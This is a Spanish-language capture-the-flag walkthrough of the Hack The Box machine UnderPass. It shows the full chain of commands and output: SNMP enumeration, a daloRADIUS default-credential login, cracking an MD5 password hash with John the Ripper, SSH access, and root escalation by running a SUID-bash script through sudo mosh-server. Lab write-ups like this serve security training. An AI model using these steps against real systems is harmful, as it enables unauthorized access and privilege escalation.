Description

UnderPass es una máquina fácil de Hack The Box que cuenta con la siguientes vulnerabilidades:

  • Enumeración de SNMP para encontrar una aplicación web instalada
  • Uso de credenciales predeterminadas en la aplicación web de administración de RADIUS
  • Enumeración de usuarios y contraseñas de la aplicación web de RADIUS
  • Reutilización de contraseña del usuario RADIUS en servidor Linux
  • Escalada de privilegios a través de la comandos Mosh (Terminal móvil) ejecutados con permisos de root️

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.145.216.

$ ping -c 3 10.129.145.216                             
PING 10.129.145.216 (10.129.145.216) 56(84) bytes of data.
64 bytes from 10.129.145.216: icmp_seq=1 ttl=63 time=48.1 ms
64 bytes from 10.129.145.216: icmp_seq=2 ttl=63 time=46.2 ms
64 bytes from 10.129.145.216: icmp_seq=3 ttl=63 time=46.2 ms

--- 10.129.145.216 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 46.188/46.828/48.100/0.899 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.145.216 -Pn -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.145.216
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.37 seconds

Obtenemos dos puertos abiertos: 22 y 80.️

Enumeración️

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.145.216 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.145.216
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.06 seconds

Obtenemos dos servicios: uno de Secure Shell (SSH) y otro de Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a pasar al servicio HTTP. Encontramos el dominio del servicio HTTP. Entonces, agregamos la dominación underpass.htb al archivo /etc/hosts.️

$ echo "10.129.145.216 underpass.htb" | sudo tee -a /etc/hosts

Encontramos la página de inicio predeterminada del servidor web Apache y si realizamos una enumeración de directorios con listas de palabras comunes no encontramos ninguna aplicación. Pasamos a enumerar los servicios UDP, específicamente el servicio SNMP.️

$ nmap -sU --open --script snmp-\* -p 161 10.129.145.216             
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for underpass.htb (10.129.145.216)
Host is up (0.047s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: c7ad5c4856d1cf6600000000
|   snmpEngineBoots: 30
|_  snmpEngineTime: 1h18m26s
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_  System uptime: 1h18m28.19s (470819 timeticks)
| snmp-brute: 
|_  public - Valid credentials

Nmap done: 1 IP address (1 host up) scanned in 16.78 seconds

Encontramos el servicio SNMP disponible con la comunidad predeterminada public. Vamos a enumerar todos los campos.️

$ snmpbulkwalk -Oa -c public -v2c 10.129.221.35
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (18645283) 2 days, 3:47:32.83
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (2) 0:00:00.02

Encontramos las cadenas steve@underpass.htb y UnDerPass.htb is the only daloradius server in the basin!. La cadena steve puede ser un usuario del sistema y la otra cadena menciona el uso de la aplicación web daloradius. daloRADIUS es una aplicación web de administración RADIUS avanzada para gestionar dispositivos y despliegues de ISP generales. Encontramos que existe un carpeta llamada daloradius en el servidor web pero no tenemos permisos para acceder a ella.️

Al revisar su documentación encontramos que es posible acceder al panel de control del operador en la carpeta operators. Encontramos una página de inicio de sesión.️

Explotación️

Las credenciales de inicio por defecto para esta aplicación son el usuario administrador y la contraseña radius. Accedemos al panel de control.️ Podemos enumerar al usuario creado haciendo clic en el botón Go to users list. Encontramos uno, svcMosh, con la contraseña 412DD4759978ACFCC81DEAB01B382403.️ La contraseña está codificada con el algoritmo de hash MD5. Podemos utilizar John The Ripper para recuperar la contraseña.️

$ echo '412DD4759978ACFCC81DEAB01B382403' > hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
underwaterfriends (?)     
1g 0:00:00:00 DONE 4.000g/s 11936Kp/s 11936Kc/s 11936KC/s undiamecaiQ..underpants2
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña de underwaterfriends para el usuario svcMosh. Podemos utilizar las credenciales para conectarnos a la máquina utilizando SSH.️

$ ssh svcMosh@underpass.htb
svcMosh@underpass.htb's password: 
...
svcMosh@underpass:~$ id
uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh)

Post-Explotación️

Encontramos que el usuario svcMosh puede ejecutar una sola orden como el usuario root, mosh-server.️

svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

Mosh (Terminal móvil) es una aplicación de terminal remota que permite roaming, soporta conectividad intermitente y proporciona eco local inteligente y edición de línea de los pulsos del teclado del usuario. Encontramos que mosh-server permite especificar un comando [-- COMMAND...] para ejecutar cuando se crea la sesión. El comando se ejecutará como el usuario que posee el proceso de Mosh.️

svcMosh@underpass:~$ /usr/bin/mosh-server --help
Usage: /usr/bin/mosh-server new [-s] [-v] [-i LOCALADDR] [-p PORT[:PORT2]] [-c COLORS] [-l NAME=VALUE] [-- COMMAND...]

Vamos a crear un script de Bash que creará una copia del binario de Bash en la carpeta /tmp y le asignará permisos SUID para ejecutarlo como usuario root.️

svcMosh@underpass:~$ echo -e 'cp /bin/bash /tmp/suid-bash\nchmod u+s /tmp/suid-bash' > /tmp/exploit.sh

Luego creamos el servicio UDP con Mosh ejecutado en el puerto 6000.️

svcMosh@underpass:~$ sudo mosh-server new -c 256 -s -p 60000 -- bash /tmp/exploit.sh
Warning: SSH_CONNECTION not found; binding to any interface.


MOSH CONNECT 60000 m6mRYfhMHKemWEm8EOuYUg

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 2440]

La instrucción produce una clave de cifrado para la conexión UDP, en este caso m6mRYfhMHKemWEm8EOuYUg. Luego, utilizaremos la aplicación mosh-client para crear la sesión al puerto 60000 para luego activar la instrucción. Necesitamos especificar la clave de cifrado con la variable de entorno MOSH_KEY.️

svcMosh@underpass:~$ MOSH_KEY=m6mRYfhMHKemWEm8EOuYUg mosh-client 127.0.0.1 60000
[mosh is exiting.]

El binario de Bash se creará y podremos lanzar una sesión de root.️

svcMosh@underpass:~$ ls -1 /tmp/suid-bash
/tmp/suid-bash
svcMosh@underpass:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1002(svcMosh) gid=1002(svcMosh) euid=0(root) groups=1002(svcMosh)

Flags

En la terminal de root podemos recuperar las flags de usuario y administrador.

suid-bash-5.1# cat /home/svcMosh/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>